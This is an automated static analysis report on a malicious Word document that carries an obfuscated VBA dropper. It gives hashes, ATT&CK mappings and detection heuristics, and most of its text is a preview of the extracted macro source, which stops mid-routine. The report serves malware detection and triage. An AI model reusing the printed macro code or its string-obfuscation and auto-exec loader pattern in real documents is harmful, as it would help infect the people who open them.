Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e22a3206a576ae6c…

MALICIOUS

Office (OLE)

454.5 KB Created: 2018-08-21 02:17:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 803fd9bdffcc52cf12df6a764adeaeeb SHA-1: 1ef9f998c12fbad17f6007cb283feeae98316eb1 SHA-256: e22a3206a576ae6cce5602963d8c2379bf46c76310b52600dbd27264d9e64969
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA code downloads a file from an HTTP URL and saves it to disk, which is then likely executed. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic further confirms the presence of a loader designed to execute malicious code. The document body discusses contract conditions, likely a lure to encourage the user to open and interact with the malicious content.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7119987-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7119987-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        PjBowKx = LvsxG.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set LvsxG = CreateObject(GiuRBbx("Mtji jcVmrpKoP)s]AoK fB&trl.wNX EM(WLwPHskTOWT_ Pg_"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set LvsxG = CreateObject(GiuRBbx("Mtji jcVmrpKoP)s]AoK fB&trl.wNX EM(WLwPHskTOWT_ Pg_"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set TMVUKcC = GetObject(GiuRBbx("wO i?NnGKmmfgHlmODtpesG!:l]\@p\)c.TM\l r@Noafo gtU#\ XcSmi_ mp!v Z2^u"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        syMwbLt = Environ(GiuRBbx("AW@lKtlf U lswKeMerwts]lPS)r)(oo^f )izolBMeYw"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.scotiabank.com.pe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 166081 bytes
SHA-256: 1fc0d63caa2f55c1ef1bf2db23608ac97f9539251b8dffc8c989940f504d2cc4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
822 of 1308 identifiers look randomly generated (e.g. 'NnGKmmfgHlmODtpesG') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public vnWohCG As Boolean
Private Sub Document_Open()
    aERhQnVaTK = UCase(" B!k N-oRS@  .OGn ")
    zrVrrdy = 1064 - 1973 - 880
    While zMqxMu < 5
        QedfYbeGSA = 1252 - 482 - 1520
        plxVFD = Left(" [E Spl(  ", 3)
        WvHRcC = Left(".Voz[T[fVVA @qB C @ ", 5)
        pdHfL = Space(2)
        tnOLDNgRIjUX = 1878 - 693 - 181
        zMqxMu = zMqxMu + 3
    Wend

    tVIZVtmA = StrReverse("SO #  JX x ")
    PtTcLglpGowZ = UCase("V!OMA% amOuhA   i]")
    For bhDtfu = 0 To 8
        PtTcLglpGowZ = 333 + 492 + 875
        GGODyTER = RTrim("C orI#mbTf gMi hFR")
    Next bhDtfu

    ZcdvJllIM = Left("_ aNwo KOVGjf @", 4)
    JxiAhSOo = RTrim("F ixP$ F[%- wZ@")
    For QvGEBS = 0 To 3
        While RBNWCG < 4
            tVIZVtmA = 537 - 445 - 462
            Bwasxz = 1142 - 1495 - 1926
            sMoHLNq = Right("zjnu mCK # hqMt hl", 4)
            SCmjUJYTGWJ = UCase("Mh#kttjBw K ")
            RBNWCG = RBNWCG + 2
        Wend

        sMoHLNq = Right("#LnDLYp yR vu a ", 3)
        Bwasxz = LTrim("M iEY nFf M&")
        plxVFD = Left(" PACmEtXNmw]IoE", 4)
        WvHRcC = StrReverse(")GN TWS TPt")
        Bwasxz = 410 - 861 - 1169
        PtTcLglpGowZ = 1291 + 1462 + 1324
        FWXWWS = 403 - 1162 - 1908
    Next QvGEBS

    aERhQnVaTK = RTrim("u nJm @!pdCFK]")
    YGBrZ = "  lRka  t." + "%gUrWHx  E#b  - " + "  pd) f qcv  vkr@ (i"
    aERhQnVaTK = Space(19)
    For KuIrsT = 0 To 9
        ZsAdNDMBxb = 715 + 1958 + 1543
        JmGCRkbmr = Space(19)
        aGHNObKpvicO = RTrim(" BL  G FNx  Az T ")
        zrVrrdy = LTrim("F!(gsCP .sy%Py  Zq  ")
    Next KuIrsT

    YGBrZ = Right("(^ QIHd[o qy b [q y ", 3)
    WvHRcC = UCase("y&Waw ?B# Z$c  ")
    ZsAdNDMBxb = UCase("yg  o &D%t  nTy _oJ")
    uChmjxXo = Right("B?Ni) F%t jf A?P ww", 4)
    For phkmjA = 0 To 7
        IiVNavuC = UCase("$rJ!]EQ o q    B")
        qVoIPUEa = " %  m)ps& K f )HrS#[" + "g]QPhg L#  QpD" + " v@G IT   m] K#"
        zZCGTA = 484 - 1361 - 156
        JxiAhSOo = "y  md ?[q (Mn d  w" + "yVkO  .[CHg$DKZ  wl" + "$ HTq^D Or a[Y[ R"
        WvHRcC = UCase("w_vd E$ #%q  .[ ^")
        GGODyTER = RTrim("k [c da lQYK  &")
        pdHfL = LTrim(" RJ]THRD kd@)%ZhH")
        pdHfL = RTrim("D).$i_ a u Rtj%v   N")
        aERhQnVaTK = Left("hNAA( Or_q[ f", 2)
        uChmjxXo = Right("%G ^ G]a)!kZ @tD ( c", 5)
    Next phkmjA

    For VjXgLE = 0 To 5
        While YHUYAQ < 5
            uChmjxXo = "lxb OjJh-Zg[-SY(mIK" + "^[fa-lDBsw" + " ieXKBrX _"
            tVIZVtmA = 124 + 793 + 930
            vNwhxEJVq = " ?B ?mwt OOtf GmJ" + "w  v @ZMdYj@" + "Q  x-v$EBKqKdU KGa  "
            sMoHLNq = 555 - 284 - 563
            QUKlIOAdTEHm = Space(10)
            IiVNavuC = UCase("  VIBFJF L uY B  Z! ")
            QUKlIOAdTEHm = UCase("IZevv k c AeBg")
            vNwhxEJVq = 1186 - 1434 - 1526
            QedfYbeGSA = 1749 - 1194 - 294
            YHUYAQ = YHUYAQ + 2
        Wend

        vNwhxEJVq = Space(4)
        SQPGRkA = " VHFkLIK# a  C" + " m p Ae  E?  # c^U" + "VW bP Ok %"
        uChmjxXo = Right("SgMbQ  LMLp  ", 2)
        SQPGRkA = LTrim("PQI(YZ%D [R[g tw#]@")
        SCmjUJYTGWJ = 915 + 1687 + 540
        zpPyZdj = 1271 + 1469 + 921
        vNwhxEJVq = Space(11)
        ksnwymdSoe = UCase("Bg NGRAy$ [pl")
        ksnwymdSoe = UCase("  ?WWQFu$ylWdA")
        Bwasxz = Left("b p!q YZb] vvf  Z", 3)
    Next VjXgLE

    For kTtBEV = 0 To 7
        dJwMRcSqRBg = Left("ud r Bzy     (WOF(", 5)
        qVoIPUEa = "   jeKAhXVt" + "d.s][bG  b b@w(#)y?" + "&t  ^ O p x"
        ZcdvJllIM = LTrim("RFvd!n y  Gz ]Knso")
        aERhQnVaTK = Left("uof mlCgjD  fJtg & N", 2)
        qxntmX = Space(13)
        WSXqLoBtZbv = UCase("I  eLqnSK?vTg VV  i ")
        zZCGTA = RTrim("b R$q  z$f  s")
        JmGCRkbmr = Right("?  V! TVkwZ O ]X ", 4)
    Next kTtBEV

    If vnWohCG = True Then
        Return
    End If
    KFluYv = RTrim("%-Ei! QMg! f? ")
    zpPyZdj = Left("L v n yt-  X ] ", 3)
    zZCGTA = " [BXS_WA $p L" + "X  G Tup)  wH" + "l@  C. IhW_E [-ajP"
    JxiAhSOo = Space(18)
    tVIZVtmA = 1946 - 1521 - 474
    vnWohCG = True
    JxiAhSOo = Space(10)
    ksnwymdSoe = Right("pNc!& l F I    mo", 4)
    PtTcLglpGowZ = " e Sg E uj f" + "eQMeo@d _(  Hwzb jfE" + "^be[ jD@l .RjX(s#"
    rXAyO = Space(17)
    qxntmX = StrReverse("HK.BxFmO  -s_i [)")
    For vdUBXm = 0 To 5
        For yQcKGf = 0 To 10
            QedfYbeGSA = Right("tSNn tu  Em fiX.h", 4)
            dJwMRcSqRBg = RTrim("$fd!s?nJB@F  yn")
            tVIZVtmA = 1613 + 1673 + 1568
        Next yQcKGf

        aGHNObKpvicO = 931 + 1092 + 1597
        IiVNavuC = UCase(" F E]o B q _")
        SCmjUJYTGWJ = 935 - 1813 - 392
        zrVrrdy = Space(9)
        WSXqLoBtZbv = StrReverse("qBZM&_-)cRpc  ")
    Next vdUBXm

    ksnwymdSoe = "!H%mFM D  bh" + "B)K  ntc% cGndO$? $G" + " Gm-QT %  "
    WvHRcC = Left("     B_z@ mjJ r(q", 5)
bjCxnpk "lmuQyfRYy", "njcvRG", "KdpxHgjD", "tmEARvoy", "oqtllRV", "jzqWNdmE"
    syMwbLt = Environ(GiuRBbx("AW@lKtlf U lswKeMerwts]lPS)r)(oo^f )izolBMeYw"))
    rXAyO = Right("KBi if @ JqD  ", 3)
    aERhQnVaTK = Left("ZiD)!T[mZK  e", 2)
    tnOLDNgRIjUX = UCase(")[  RFAolns")
    FWXWWS = "xd U@ sT]C ZnNLR a" + "Y U P sTdi lsx" + "zz $y  i  D !q"
    Dim ThaUeUf As String
    JxiAhSOo = 899 - 890 - 1379
    aERhQnVaTK = "   n@V lZMM" + " NjG(y R&vW .WKd B  " + "ZU H  I ? wg  kbj"
    While lmjKWA < 3
        While PksRQn < 1
            SQPGRkA = Right("di$ ]yD W  ", 5)
            sMoHLNq = Right(" tMu sf  P!ix!v ", 2)
            JmGCRkbmr = 1654 - 1883 - 1026
            KFluYv = 247 + 1232 + 1548
            ksnwymdSoe = Right("(-# Q!gt-   k dV]n", 2)
            PksRQn = PksRQn + 3
        Wend

        QedfYbeGSA = Space(2)
        aERhQnVaTK = Space(6)
        dJwMRcSqRBg = UCase(" g_ dawrr&  BHG ")
        FWXWWS = Right("tJQ%t_!#R$r J m", 2)
        zbzzOOozZ = StrReverse("  I@DpkSt ")
        KFluYv = LTrim("B  X-  t.  ")
        IiVNavuC = 1259 + 686 + 1641
        aGHNObKpvicO = Space(4)
        ZcdvJllIM = LTrim("u^o gNFSs$IOt")
        lmjKWA = lmjKWA + 3
    Wend

    JmGCRkbmr = 1807 - 1627 - 1139
    While jSJBFl < 1
        While pFUlQt < 1
            vNwhxEJVq = Left("^_t)P    O) ", 5)
            ksnwymdSoe = UCase(".eQ  ]FzGU ")
            GGODyTER = RTrim("lew S  z Z  P")
            WSXqLoBtZbv = 380 + 1844 + 480
            QUKlIOAdTEHm = 515 - 397 - 1661
            Bwasxz = LTrim("Xq#gZ@uQooFaS")
            WSXqLoBtZbv = Right("bF B %B@OB(%aSN", 4)
            FWXWWS = StrReverse("xfz ngZPP(wX")
            pFUlQt = pFUlQt + 3
        Wend

        zpPyZdj = ")haCuc[NvKvc " + " X!BlhQ H$ & qabU lu" + "zGUOdp N z bfG CM&["
        qxntmX = StrReverse("QKP    )RcxcOl ")
        zZCGTA = 1914 - 639 - 833
        zZCGTA = LTrim("TyUTC-olIyV")
        sMoHLNq = 1685 + 1188 + 125
        JmGCRkbmr = Space(4)
        uChmjxXo = 1713 - 691 - 1859
        rXAyO = 1678 - 142 - 1728
        jSJBFl = jSJBFl + 1
    Wend

    tVIZVtmA = RTrim("wXRnBY##fL?&(N")
    sMoHLNq = 823 + 1887 + 1791
    For SlRjEl = 0 To 3
        While xOnvJg < 5
            pdHfL = UCase("mjBNp  BKFHVA Eqz&")
            qxntmX = 811 + 1212 + 1566
            PtTcLglpGowZ = Right("B-EL?   V$", 4)
            SCmjUJYTGWJ = RTrim("T iFx ([! e  ")
            qVoIPUEa = Left("#  AFK nTy SY(O L%De", 3)
            pdHfL = Right("O !.x.iOCj", 5)
            IiVNavuC = UCase("xjC $aP-Jj D")
            Bwasxz = Left("nfE QZMNNN_$Kv(h%b", 4)
            tnOLDNgRIjUX = LTrim(" j  ? @jA BLe")
            xOnvJg = xOnvJg + 2
        Wend

        dJwMRcSqRBg = RTrim(" JKtH #z P.")
        tVIZVtmA = Left("]eel Rhnfdrr D hh  ", 2)
        zZCGTA = LTrim("   BZ OBSV%Iw Bau ")
        zbzzOOozZ = Right("Ze r   k f MK", 3)
        zbzzOOozZ = Space(5)
        pdHfL = 948 + 1283 + 1829
        zrVrrdy = 1253 + 1391 + 285
    Next SlRjEl

    ThaUeUf = "FXM"
    JmGCRkbmr = LTrim("NMTl J l  w(QRIOc%")
    pdHfL = Left(" g _&m&iRS NtDj  ", 5)
    zpPyZdj = 1281 - 494 - 1122
    For ESQZfI = 0 To 5
        For NmpTYU = 0 To 5
            uChmjxXo = 1770 - 1467 - 1385
            JxiAhSOo = LTrim(" $ A%qegB]wNUzM%e")
            zrVrrdy = UCase("[ $& fxBAO jF) G")
            zrVrrdy = Right(" snTy t gpKZeO( I ", 3)
            GGODyTER = LTrim("l%Bl  O. yB")
            oCeoXuGPulTi = Right("##V! l v R-copnI", 4)
        Next NmpTYU

        KFluYv = 1895 + 158 + 847
        nxprw = 259 - 1899 - 658
        aERhQnVaTK = LTrim("A[ v?ss RWG   )")
        tnOLDNgRIjUX = Space(20)
        PtTcLglpGowZ = StrReverse("m ? PGYI  R  s TcGx")
    Next ESQZfI

    YxHUsqyteU = Right("fMHiEkkV- @ ", 4)
    For qkuSoi = 0 To 5
        While fxPDIY < 1
            WnnVImVRcdC = UCase("A W lC  K ")
            QUKlIOAdTEHm = 1262 - 1732 - 351
            zZCGTA = ")AF wr wHD W" + "of Isa. @Q" + "(En GM&Hjk]a zaj o "
            Bwasxz = StrReverse("BkM NQ(!i ")
            FWXWWS = Space(6)
            aGHNObKpvicO = "x B[ qGVF   " + " Y  Dr )aN y f(Rf NM" + " _OUb$j   lv H. #D "
            zZCGTA = Space(8)
            dJwMRcSqRBg = Right(" Tq$(Aw lA$m", 4)
            aERhQnVaTK = Space(10)
            WSXqLoBtZbv = "h(C w dP  ] u^" + "  E  Ba  %!C Cr[" + "GjE  Z ? tbXyVq _"
            fxPDIY = fxPDIY + 1
        Wend

        aGHNObKpvicO = UCase("^ H tq$yPNb rZun&(i")
        vNwhxEJVq = RTrim("]  YQBDQZf& _V! ?ij ")
        qVoIPUEa = Right("Gzd a] a r[I", 5)
        ksnwymdSoe = LTrim("arPq%x   WgFrOzH  ep")
        GGODyTER = UCase("Fq%?L![J$(Z( N[@ ")
        uChmjxXo = RTrim("%^.VVwiPH(^lz.   Z")
        aGHNObKpvicO = Right(" nYq) ^lJkG@F", 5)
        tnOLDNgRIjUX = "(t .]Y L.A % u J" + "^wZN#cP  Ak" + "ee puAx&L taG_"
        GCbEksCVY = 1261 + 1580 + 1720
        qVoIPUEa = 1608 + 399 + 1129
    Next qkuSoi

    zpPyZdj = Right("  TNGl. x   $ T lZ#", 3)
    aGHNObKpvicO = LTrim("A  CXQ_ATkf T T  M ")
    ThaUeUf = ThaUeUf + "Ohl"
    While xLnzzT < 4
        sMoHLNq = Right("S QLP(Feb   n", 3)
        qVoIPUEa = 1188 + 1631 + 1694
        WSXqLoBtZbv = 152 + 674 + 1880
        zZCGTA = LTrim(" ctEIIhVG ?vD  ")
        PtTcLglpGowZ = 214 + 555 + 1323
        GGODyTER = "jl&  GMMSV N ^Q?" + "  PAJW]? .WS " + " yiR WjD . ^ V@  nW)"
        xLnzzT = xLnzzT + 3
    Wend

    JmGCRkbmr = RTrim("Pj LDFC@ X kR")
    ThaUeUf = ThaUeUf + "L)o"
    qxntmX = 150 + 1243 + 1226
    aERhQnVaTK = 199 - 1660 - 622
    ThaUeUf = ThaUeUf + "D ?"
    For WdBpXv = 0 To 7
        dhcAKZQ = UCase("vvQ . Y f.pGiZk ")
        Bwasxz = 817 - 377 - 1666
        JxiAhSOo = StrReverse("UliY^N Ggg_tXZi")
        ZcdvJllIM = 1927 + 1653 + 348
        nxprw = 778 + 1640 + 1503
        aGHNObKpvicO = RTrim("xU!h OgH   V ")
        QedfYbeGSA = 1228 - 327 - 1258
        vNwhxEJVq = UCase("sx$-cmU   C@kp]Mh")
        WnnVImVRcdC = Space(20)
    Next WdBpXv

    KFluYv = Right("t%@R   Pl!IXz", 3)
    ZcdvJllIM = UCase("SWIGG ?n UuzVwxF HoH")
    While szuPou < 2
        YGBrZ = RTrim("!tjxRd$  wN !FBN w")
        dJwMRcSqRBg = 1870 - 1280 - 1893
        rXAyO = "z    ((p^L #zA  J" + "  BKQcWUW^oK" + "BzkQPtm$ GFX) "
        dJwMRcSqRBg = 1890 + 1060 + 469
        pdHfL = 132 - 1863 - 1786
        FWXWWS = 1202 - 855 - 214
        rXAyO = 1401 + 479 + 1053
        WvHRcC = LTrim("Gs bRw x@(k W_dvI")
        ksnwymdSoe = LTrim("-dWV]MOFX@[p& ")
        szuPou = szuPou + 1
    Wend

    For wtGiga = 0 To 8
        WnnVImVRcdC = Right(" NE ed u BAXTOf   v ", 5)
        aGHNObKpvicO = StrReverse(" &Aq VDCo S S  ")
    Next wtGiga

    ThaUeUf = ThaUeUf + "EPF"
    ksnwymdSoe = UCase("GVa%@  q pO &  d Mr ")
    pdHfL = 1531 + 1696 + 368
    ThaUeUf = ThaUeUf + "R #"
    IiVNavuC = RTrim("tT UF-.  $f] lJ")
    zpPyZdj = LTrim("i  QN hl[Y-_L #?P(")
    SCmjUJYTGWJ = 1933 - 115 - 1255
    While sHHkvk < 3
        For HEHMqn = 0 To 5
            qxntmX = 1110 - 547 - 152
            nxprw = 1556 - 918 - 793
            FWXWWS = StrReverse("u%!Lp r  @Dvc")
            zZCGTA = UCase("Ic%C$ d   L plBWj")
        Next HEHMqn

        IiVNavuC = "L(Nqdj@-uJ" + "%j.C?-Aj V " + "y _X @ n? pr q"
        zrVrrdy = 530 - 123 - 1886
        sHHkvk = sHHkvk + 3
    Wend

    ThaUeUf = ThaUeUf + "\wb"
    IiVNavuC = StrReverse("jTmx u .  -VUzQf")
    For fAtcDz = 0 To 5
        JxiAhSOo = " B  ]  eBDWE!d" + "$cbo  l g  kaXJDw" + "LJ h_F&Zv Zp[TlLH   "
        GGODyTER = " n   @ %#f)ZKHW " + "LNuc lO _$)X !  ioX" + " ]Tfh  PMS(K"
        JxiAhSOo = StrReverse("R?pasUB  UQ")
        IiVNavuC = UCase("q#! LQM) piq")
    Next fAtcDz

    While WzVjFl < 5
        For MGlgMg = 0 To 9
            uChmjxXo = Left("Afx UlD] SS", 2)
            aERhQnVaTK = UCase("q ossz  zsz[  vBkH")
            uChmjxXo = StrReverse("R !Adb N(z ")
            dJwMRcSqRBg = 830 - 1951 - 1913
            qxntmX = Left(" TxBbsXrJmZ s lq", 4)
            PtTcLglpGowZ = RTrim("H  lS  EQVJ&ZarB@?")
        Next MGlgMg

        GGODyTER = UCase("myy^i$ JV -Kba X ")
        QUKlIOAdTEHm = "FV%_f  W dji ehA" + "R sj  yoU M D" + "L R# sDXIje "
        aERhQnVaTK = RTrim(" kKO&i S#D")
        qxntmX = 1716 - 1969 - 1407
        uChmjxXo = Space(5)
        rXAyO = Left("n@a I !  ^v  x  T ", 4)
        vNwhxEJVq = 1209 + 1755 + 1841
        WvHRcC = 1662 + 1679 + 543
        rXAyO = UCase(".I h [ vPHg@^zW-# ")
        WvHRcC = UCase("  g-  e@ CQO")
        WzVjFl = WzVjFl + 1
    Wend

    QUKlIOAdTEHm = 523 - 859 - 1784
    SCmjUJYTGWJ = 1641 + 1920 + 1044
    ThaUeUf = ThaUeUf + "X(H"
    WSXqLoBtZbv = 222 + 1615 + 1551
    While mqtAdZ < 5
        For GSqOoq = 0 To 10
            WSXqLoBtZbv = Left("vjjhEFg i( OG#gjw S ", 2)
            ZsAdNDMBxb = LTrim("FQA  sIsV  L")
            WSXqLoBtZbv = 1196 - 1096 - 1396
            uChmjxXo = LTrim("Xf   K WQ ")
            GCbEksCVY = Left("z$ WG W po xcy", 2)
            rXAyO = "p#WrC R  nMho Qj N Z" + "qRs @JK?h%ae _&hh% z" + "  Ao$ ScAl Pr fw_"
            GGODyTER = "V^?JqN HNw  " + " C  k   G ?RC$X" + "EIn hRo?oS j"
            sMoHLNq = 1557 - 1558 - 1024
        Next GSqOoq

        WSXqLoBtZbv = RTrim("wulNBven$_  O")
        WSXqLoBtZbv = Space(2)
        mqtAdZ = mqtAdZ + 1
    Wend

    ThaUeUf = ThaUeUf + "f% "
    IiVNavuC = Left("-SSek _RBG^I _ j  D", 4)
    For xfLyzP = 0 To 1
        While DgGVGA < 2
            ksnwymdSoe = "   Se?A@WZ" + " Z_ Cb- !G HR " + "hux QL MW E ua"
            GGODyTER = StrReverse("IugLlKxqbd&OXrW[ x ")
            WvHRcC = RTrim("?LjCzOK#_ t U hQ ")
            DgGVGA = DgGVGA + 2
        Wend

        zZCGTA = 469 - 1727 - 132
        zpPyZdj = 464 + 1897 + 1828
        SCmjUJYTGWJ = RTrim("wsefhhzJNYkcW yT")
        QedfYbeGSA = Left("@  -T  x loFzO w#", 2)
        GCbEksCVY = UCase("L ?JQ#HjsO%M)I!PhwQ")
        GCbEksCVY = LTrim("U.SKT#ZkIMC")
    Next xfLyzP

    ThaUeUf = ThaUeUf + "pB "
    WvHRcC = Left("  XNsS &Gyp", 2)
    tVIZVtmA = StrReverse("  pe  ZGqr)qb #")
    For EqPWMn = 0 To 8
        YxHUsqyteU = StrReverse("^N[P@Y [Y f  wNt")
        YxHUsqyteU = UCase("z qXkK^X^  ^w")
    Next EqPWMn

    ThaUeUf = ThaUeUf + "BG."
    tVIZVtmA = 677 + 660 + 1311
    zbzzOOozZ = 1125 + 1124 + 1045
    ThaUeUf = ThaUeUf + "sq "
    WvHRcC = 1351 + 121 + 346
    zpPyZdj = Space(9)
    qxntmX = 1955 + 1351 + 1550
    ThaUeUf = ThaUeUf + "oXa"
    tVIZVtmA = Left("LUhq&MBn z", 2)
    GCbEksCVY = LTrim("N^TurBgKzLrl")
    While wHVCEM < 4
        WvHRcC = "^eDA wJ bLwkVnS" + "o_  S^t vz%V^ q J" + "a jO XDUHML"
        zpPyZdj = Right("lfxArS -a I ZExUr", 2)
        nxprw = 1649 + 1189 + 513
        IiVNavuC = LTrim(" gI WYopUy")
        aGHNObKpvicO = 1729 - 1755 - 904
        WvHRcC = Left("?mj@Kolz^ myp  H Uo", 4)
        wHVCEM = wHVCEM + 1
    Wend

    ksnwymdSoe = Left("Jv Onj .l -S #WIn", 4)
    While BnBDsk < 4
        sMoHLNq = Space(10)
        QedfYbeGSA = Left("&nnNYHKDcJy@ ", 3)
        uChmjxXo = Left("RolD Ercyw.S^yL", 5)
        GGODyTER = Right("#%QlFG JWGKk fENd-z", 4)
        dJwMRcSqRBg = Space(11)
        dJwMRcSqRBg = RTrim(" ])xc%F# tq")
        SQPGRkA = Space(12)
        YGBrZ = UCase("wRS cUeCQIP V ")
        dhcAKZQ = LTrim(" rhxTc-Pm? cuC O")
        qxntmX = StrReverse("sKPskQ$  CVr")
        BnBDsk = BnBDsk + 2
    Wend

    ThaUeUf = ThaUeUf + "n N"
    YxHUsqyteU = LTrim("s]f^RE VhhjqLa")
    ZsAdNDMBxb = UCase("UT )U[  QMdaCDn^q ")
    For WfLswC = 0 To 1
        While fEaQXC < 5
            JxiAhSOo = StrReverse("O #Ls ]  yxKzXc BdH")
            YGBrZ = RTrim("& D!I$plC  aE")
            WnnVImVRcdC = RTrim("xCde[UXK   ?E  ")
            ZsAdNDMBxb = RTrim("  B&Wa CGQ D s")
            qVoIPUEa = LTrim("ZzmzbX @dI sOs  $L")
            fEaQXC = fEaQXC + 2
        Wend

        KFluYv = "EMe(&   B  . r s n!" + "J? hzS %[X" + " r &aK !c c RYlJt?W "
        pdHfL = ")jXD  VXxz-X?" + "ZA T HQPip" + " Oeh oX^eE qbP _"
        uChmjxXo = LTrim("qEqQO&( GjPMf")
        GCbEksCVY = StrReverse("H G-H &VOFu  ME$")
        WSXqLoBtZbv = 988 + 695 + 402
        FWXWWS = 1898 + 747 + 452
    Next WfLswC

    QedfYbeGSA = 199 + 776 + 1301
    ThaUeUf = ThaUeUf + ".B "
    tnOLDNgRIjUX = Right("Jan(&PhTLErk-GBMoV^ ", 5)
    JxiAhSOo = 894 + 641 + 1717
    FWXWWS = 811 - 1988 - 1185
    For DlkURp = 0 To 2
        While jXpkbu < 4
            JxiAhSOo = 1644 - 1074 - 389
            WSXqLoBtZbv = 1785 + 344 + 393
            aGHNObKpvicO = Left("%Xgy ] l! pE_ M y.!", 4)
            zZCGTA = 757 - 1833 - 1919
            pdHfL = UCase(" (    vROXN?jyq")
            SCmjUJYTGWJ = UCase("  @UB Wt^d")
            ZcdvJllIM = LTrim(" Ar!JyW  S.iE _l X e")
            PtTcLglpGowZ = 1979 + 702 + 620
            ZsAdNDMBxb = RTrim("u_-  fUI jM$VUo")
            Bwasxz = 1316 + 1150 + 1359
            jXpkbu = jXpkbu + 3
        Wend

        tVIZVtmA = LTrim("wcCysE b TIw j )")
        YxHUsqyteU = Right("!_ ULX djUk iCoVHCq", 2)
        ZsAdNDMBxb = UCase("uby #uezlP# sjn#VA#b")
    Next DlkURp

    ThaUeUf = ThaUeUf + "eWy"
    nxprw = 707 + 1217 + 430
    zbzzOOozZ = UCase("ivKX FnwAi K VrI . A")
    For YXxAIV = 0 To 6
        sMoHLNq = 1827 - 1614 - 746
        tVIZVtmA = StrReverse("?. ST BLOsus) Nu (")
        PtTcLglpGowZ = "[v l  _m K.rt_" + "    o#b qzplp " + "p  d jfwx L!b _%x"
        Bwasxz = Left("vsHUd ZsrA ", 2)
        PtTcLglpGowZ = Right(" wBT Y q#YXO^j", 2)
        plxVFD = " G Fu  ]I " + " os)Ti_WB   XJk!" + " z&T) ZrTXPdh&"
        aERhQnVaTK = Left("vG .&maT uY ?a #SO  ", 5)
        nxprw = 1992 - 746 - 957
        aGHNObKpvicO = Right(" lgR_q[p&Nh[CRZ  a", 4)
    Next YXxAIV

    While RPNvCR < 2
        While PUBNdc < 5
            qxntmX = "?g FWP   n" + " mewIb A& Qf" + "Zl L] e#&XO"
            zbzzOOozZ = UCase(" n]uc G?y ")
            GGODyTER = UCase("-$.q  % #V ^ o")
            SQPGRkA = RTrim("#yLo(]O M ")
            zrVrrdy = Left("uZE#)AEb@  #S uG&", 2)
            PUBNdc = PUBNdc + 1
        Wend

        YGBrZ = Left(".[hb      h_axVr$$A", 5)
        zbzzOOozZ = Left("g ZfaYd  nVL  ", 4)
        aGHNObKpvicO = Space(18)
        qVoIPUEa = UCase("v.( )OI)OJAs[ L-   ")
        tVIZVtmA = StrReverse("yvtx$  n Ny@DY _  ")
        dJwMRcSqRBg = Left("@ Jpfa ?a!y", 3)
        RPNvCR = RPNvCR + 3
    Wend

    ThaUeUf = ThaUeUf + "xmG"
    While ReGIHN < 5
        While WUgPxf < 1
            KFluYv = Right("vjxQgvbpO IG_^", 4)
            WSXqLoBtZbv = Right("Hv fS  Jk  kQfAX", 2)
            dYxIDaaFANk = StrReverse("J [!&^?]dO ")
            YxHUsqyteU = Space(1)
            plxVFD = "Lw VjKoS& Bi. MF]N?X" + "G-hIHV smxp OMT " + " %.BC c[ZsgD@ GN"
            WUgPxf = WUgPxf + 1
        Wend

        Bwasxz = LTrim("-OloCreshFV p")
        qVoIPUEa = UCase("YH eLW P[xB hXUzQt")
        FWXWWS = RTrim("_Cv((ske-gPxL")
        ReGIHN = ReGIHN + 1
    Wend

    Bwasxz = "  pR z MOoaA Pz" + "$pDy      TyvA" + "aBBGC ?- &  LC. GE@ "
    WnnVImVRcdC = Space(15)
    FWXWWS = Left("OK [ QyG v ", 5)
    WvHRcC = Space(6)
    ThaUeUf = ThaUeUf + "eoI"
    While fattUJ < 3
        While DtAOnx < 2
            tnOLDNgRIjUX = 718 + 540 + 226
            aGHNObKpvicO = RTrim("K sV AL_%B#")
            WvHRcC = LTrim("i KPsKIeFtD    ]  lq")
            IiVNavuC = UCase("u E &- w-  ")
            GCbEksCVY = Space(8)
            SQPGRkA = Space(18)
